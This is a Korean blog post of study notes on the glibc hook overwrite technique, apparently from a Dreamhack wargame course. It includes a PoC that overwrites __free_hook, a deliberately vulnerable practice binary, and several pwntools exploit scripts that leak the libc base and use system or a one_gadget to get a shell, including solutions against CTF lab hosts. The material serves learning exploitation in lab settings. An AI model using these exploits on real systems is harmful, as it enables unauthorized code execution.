[함께실습] Exploit Tech : Hook Overwrite
Hook에는 갈고리라는 뜻이 있다. 이런 의미를 담아 컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려 할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것을 Hooking(후킹)이라고 부르며, 이때 실행되는 코드를 Hook(훅)이라고 부른다.
후킹은 굉장히 다양한 용도로 사용된다. 함수에 훅을 심어서 함수의 호출을 모니터링 하거나, 함수에 기능을 추가할 수도 있고, 아니면 아예 다른 코드를 심어서 실행 흐름을 변조할 수도 있다.
예를 들어, malloc과 free에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링할 수 있다. 이를 더욱 응용하면 모든 함수의 도입 부분에 모니터링 함수를 훅으로 설치하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing)할 수도 있다.
이러한 모니터링 기능은 해커에 의해 악용될 수도 있다. 해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면, 사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하다.
▶ malloc, free, realloc hook
C언어에서 메모리의 동적 할당과 해제를 담당하는 함수에는 malloc, free, realloc이 대표적이다. 각 함수는 libc.so에 구현되어 있다.
libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있다. 예를 들어, malloc 함수는 __malloc_hook 변수의 값이 NULL이 아닌지 검사하고, 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행한다. 이때, malloc의 인자는 훅 함수에 전달된다. 같은 방식으로 free, realloc도 각각 __free_hook, __realloc_hook이라는 훅 변수를 사용한다.
// __malloc_hook
void *__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook); // malloc hook read
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// ...
}
- 훅의 위치와 권한
__malloc_hook, __free_hook, __realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의되어 있다.
이 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc30, 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.so의 bss 섹션에 포함됨을 알 수 있다. bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있다.
▶ Hook Overwrite
malloc, free, realloc에는 각각에 대응되는 훅 변수가 존재하며, 이들은 libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다. 또한, 훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해 주기 때문에 __malloc_hook을 system 함수의 주소로 덮고, malloc(“/bin/sh”)을 호출하여 셸을 획득하는 등의 공격이 가능하다.
다음 코드는 훅을 덮는 공격이 가능함을 보이는 Proof-of-Concept(PoC)이다. 컴파일하고 실행하면, __free_hook을 system 함수로 덮고, free(“/bin/sh”)를 호출하자 셸이 획득되는 것을 확인할 수 있다.
// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
printf("\"__free_hook\" now points at \"system\"\n");
__free_hook = (void *)system;
printf("call free(\"/bin/sh\")\n");
free(buf);
}
▶ Free Hook Overwrite
free 함수의 훅을 덮는 공격을 실습해보자.
// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char buf[0x30];
unsigned long long *addr;
unsigned long long value;
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
return 0;
}
▶ 분석
- 보호 기법
위 코드를 컴파일하고 checksec을 사용하면 모든 보호 기법이 적용되어 있음을 볼 수 있다.
- 코드 분석
puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
buf의 크기는 0x30인데 0x100만큼 읽으므로 매우 큰 스택 버퍼 오버플로우가 발생한다. 그러나 알고 있는 정보가 없으므로 카나리를 올바르게 덮을 수 없고, 반환 주소도 유의미한 값으로 조작할 수 없다. 스택에 있는 데이터를 읽는 데 사용할 수 있을 것이다.
puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;
주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.
puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);
주소를 입력하고, 그 주소의 메모리를 해제할 수 있다.
- 공격 수단
공격자는 다음 세 가지 수단(Primitive)을 이용하여 셸을 획득해야 한다.
[1] 스택의 어떤 값을 읽을 수 있다.
[2] 임의 주소에 임의 값을 쓸 수 있다.
[3] 임의 주소를 해제할 수 있다.
▶ 설계
1. 라이브러리의 변수 및 함수들의 주소 구하기
__free_hook, system 함수, “/bin/sh” 문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so안의 주소를 구해야 이들의 주소를 계산할 수 있다. [1]을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다. 특히, main 함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있을 것이다.
2. 셸 획득
[2]에서 __free_hook의 값을 system 함수의 주소로 덮어쓰고, [3]에서 “/bin/sh”를 해제하게 하면 system(“/bin/sh”)가 호출되어 셸을 획득할 수 있다.
▶ 익스플로잇
1. 라이브러리의 변수 및 함수들의 주소 구하기
반환 주소를 읽어서 라이브러리의 변수 및 함수들의 주소를 구할 것이다. gdb로 main 함수의 반환 주소인 libc_start_main을 읽은 다음, 그 값에서 libc의 매핑 주소를 빼면 libc와 반환 주소의 오프셋을 구할 수 있다. 2가지 주소는 모두 libc에 함께 매핑되어있는 주소이기 때문이다. 익스플로잇에서는 그 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있다.
#!/usr/bin/python3
# Name: fho.py
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
2. 셸 획득
구해낸 __free_hook, system 함수, ”/bin/sh” 문자열의 주소를 이용하면 셸을 획득할 수 있다.
#!/usr/bin/python3
# Name: fho.py
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()
▶ one_gadget
one_gadget또는 magic_gadget은 실행하면 셸이 획득되는 코드 뭉치를 말한다. HITCON, 217 CTF팀의 멤버인 david942j가 만든 one_gadget 도구를 사용하면 libc에서 쉽게 one_gadget을 찾을 수 있다.
one_gadget은 libc의 버전마다 다르게 존재하며, 제약 조건도 모두 다르다. 상황에 맞는 가젯을 사용하거나, 제약 조건을 만족하도록 조작해 줘야한다.
one_gadget은 함수에 인자를 전달하기 어려울 때 유용하게 사용될 수 있다. 예를 들어, __malloc_hook을 덮을 수 있는데, malloc을 호출할 때 인자를 검사해서 작은 정수밖에 입력할 수 없는 상황이라면 “/bin/sh”를 인자로 전달하기가 매우 어렵다. 이럴 때 제약 조건을 만족하는 one_gadget이 존재한다면, 이를 호출해서 셸을 획득할 수 있다.
- one_gadget 실습
#!/usr/bin/python3
# Name: fho_og.py
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - 0x021b97
free_hook = libc_base + libc.symbols["__free_hook"]
og = libc_base+0x4f3c2
slog("libc_base", libc_base)
slog("free_hook", free_hook)
# [2] Overwrite `free_hook` with `one_gadget`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(og))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(0x31337)) # doesn't matter
p.interactive()
▶ Hook Overwrite flag 구하기
[혼자실습] Hook Overwrite
oneshot
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
char msg[16];
size_t check = 0;
initialize();
printf("stdout: %p\n", stdout);
printf("MSG: ");
read(0, msg, 46);
if(check > 0) {
exit(0);
}
printf("MSG: %s\n", msg);
memset(msg, 0, sizeof(msg));
return 0;
}
msg 배열의 크기는 16이지만 46만큼 읽는 것으로 보아 오버플로우가 가능해 보인다.
라이브러리에 stdout 오프셋을 알아내어 라이브러리 베이스 주소를 알아내고자 한다.
라이브러리의 0x45216 오프셋에 존재하는 원샷 가젯을 사용한다.
from pwn import *
p=remote("host1.dreamhack.games",13987)
libc=ELF('./libc.so.6')
p.recvuntil("stdout: ")
stdout=int(p.recvuntil("\n")[:-1],16)
libc=stdout-0x3c5620
oneshot=libc+0x45216
payload=b"A"*0x18 + b"\x00"*0x8 + b"A"*0x8 + p64(oneshot)
p.sendlineafter("MSG: ", payload)
p.interactive()
libc.so.6 라이브러리 파일을 이용해 oneshot의 가젯을 구한다. 라이브러리가 매핑된 주소를 알 수 있다면 오프셋 계산을 통해 가젯의 주소를 찾을 수 있다. stdout 오프셋인 0x3c5620을 stdout에서 빼주어 라이브러리 베이스 주소를 구한다. 이 값에 0x45216을 더해 oneshot 가젯 주소를 구한다. 그리고 이를 ret에 넣는다.
hook
// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
malloc과 free를 이용해 ptr에 값을 입력할 수 있다.
위에서 구한 stdout 오프셋은 0x3c5620이다.
free_hook의 오프셋은 0x3c67a8이다.
from pwn import *
p=remote("host1.dreamhack.games",12982)
elf=ELF('./hook')
libc = ELF("./libc.so.6")
p.recvuntil("stdout: ")
stdout=int(p.recvuntil("\n")[:-1],16)
base=stdout-0x3c5620
free_hook=base+0x3c67a8
payload= p64(free_hook)+p64(elf.plt['system'])
p.sendlineafter("Size: ", "1024")
p.sendlineafter("Data: ", payload)
p.interactive()
위에서 구한 값들로 익스플로잇을 구성하였다.
'SYSTEM Hacking' 카테고리의 다른 글
[SISS] Lazenca (Protection Tech > RELRO) (0) | 2022.02.11 |
---|---|
[SISS] Lazenca (Protection Tech > PIE) (0) | 2022.02.11 |
[SISS] Dreamhack System Hacking (STAGE 7) (0) | 2022.02.09 |
[SISS] Lazenca (Protection Tech > ASLR) (0) | 2022.02.04 |
[SISS] Lazenca (Protection Tech > NX Bit(MX : DEP)) (0) | 2022.02.04 |